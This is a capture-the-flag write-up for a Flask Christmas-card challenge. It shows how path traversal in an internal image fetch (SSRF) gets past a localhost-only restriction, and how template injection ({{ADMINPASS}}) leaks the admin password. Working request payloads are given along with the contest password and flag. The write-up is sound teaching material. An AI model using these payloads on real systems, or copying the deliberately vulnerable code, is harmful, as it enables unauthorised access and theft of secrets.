Wish Cards
You can download all challenge files from here and run the application locally.
Basic Functionality
- The challenge involves a
Flask
web app. - The app allows users to choose a picture as a template and generates a Christmas card with a random wish sourced from
data.py
.


- Additionally, there’s an option to create a custom card with a personalized message, but this feature is restricted to localhost requests only.

- The following code enforces this restriction:
def local(f):
@wraps(f)
def check(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return render_template('error.html', error= 'Sorry, this page is not available for the public 🥲')
return f(*args, **kwargs)
return check
How to get the flag
- Upon reviewing the code, I discovered that the flag can be obtained by sending a request to
/admin-card
. However, two conditions must be met:- We need the admin password
- We must bypass the same localhost restriction as the custom card functionality.
try: secret_wish = open('flag.txt','r').read().strip()
except: secret_wish='NH4CK{secrettttt}'
@app.route('/admin-card')
@local
def admin():
passw = request.args.get('pass', '')
if passw != ADMINPASS:
return render_template('error.html', error= 'Urm, wrong password ❌')
secret_card = make_card('colors.png', wish= f'Merry Xmas, don\'t share my secret: {secret_wish}')
return send_file(io.BytesIO(secret_card), mimetype= 'image/png', as_attachment= True, download_name= 'flag.png')
Getting the admin password
- I noticed that the admin pass is loaded in a global variable in
util.py
.
try: ADMINPASS = open('adminpass.txt').read().strip()
except: ADMINPASS = 'adminpass'
- I also noticed that when a custom card is generated, the custom wish is is directly rendered into the template without any sanitization.
def generate_card_html(b64_image, wish):
card_html = f'''
<html>
<head>
<style>
.card {{
width: 800px;
height: 600px;
background-image: url(data:image/png;base64,{b64_image});
background-size: cover;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 20px;
text-align: center;
padding: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
border-radius: 10px;
}}
</style>
</head>
<body>
<div class="card">
{wish}
</div>
</body>
</html>
'''
return render_template_string(card_html, **globals())
- This suggested an SSTI vulnerability . By exploiting it, I could potentially extract the admin password using a payload like
{{ADMINPASS}}
. The only problem was the localhost restriction. - I assumed that there has to be an SSRF vulnerability as well, that would allow us to force the server to make requests on behalf of us.
SSRF vulnerability
- The
make_card
function looked very promising because:- The server fetches images by making HTTP requests to itself.
- it concatenates a user-controlled input into the url string.
def make_card(img: str, wish= ''):
if not img or not img.endswith('.png'):
return None
if any([c in wish for c in '<>%_&"\\()']): # these may crash something
return None
if not wish:
wish = get_wish()
img_b64 = img_from_url(f'http://127.0.0.1:1337/static/images/{img}')
if not img_b64:
return None
card_html = generate_card_html(img_b64,wish)
as_pic = imgkit.from_string(card_html, False, options= {'format': 'png', 'quiet': '', 'crop-h': '1000', 'crop-w': '800'})
return as_pic
- Firstly I checked if I could control the server’s request URL with path traversal. I tried:
http://localhost:1337/cards?image=../../static/images/green.png
-
The response was a normal card with the requested background without any errors. So, I confirmed that indeed I can control it.
- Next, I tried creating a custom card to see if I could bypass the localhost restriction:
http://localhost:1337/cards?image=../../custom-cards?wish=MyCustomWish%26image=green.png
- Notice that the
image
parameter of the SSRF request should be second, because the server checks if it ends with.png
.

-
And yes, my custom wish was rendered successfully. A random wish was also included, as the initial request was for a regular card, while using the rendered custom card as background.
-
To confirm the SSTI vulnerability, I used the following request that rendered number
49
.http://localhost:1337/cards?image=../../custom-cards?wish={{7*7}}%26image=green.png

- And finally used
{{ADMINPASS}}
to get the admin pass.http://localhost:1337/cards?image=../../custom-cards?wish={{ADMINPASS}}%26image=green.png

Final payload to get the flag
- With the admin password in hand and a bypass for the localhost restriction, I could issue a request to the
/admin-card
endpoint and retrieve the flag:http://localhost:1337/cards?image=../../admin-card?pass=adminpass%26fake=.png
- Again, the
image
parameter must end with.png
, so I appended an arbitrary parameter. - During the competition, the live server’s admin password was
GOD_INTERN!
so the final payload was:/cards?image=../../admin-card?pass=GOD_INTERN!%26fake=.png
- And the real flag was:
NH4CK{y37.4n07h3r.w15h.c4rd}
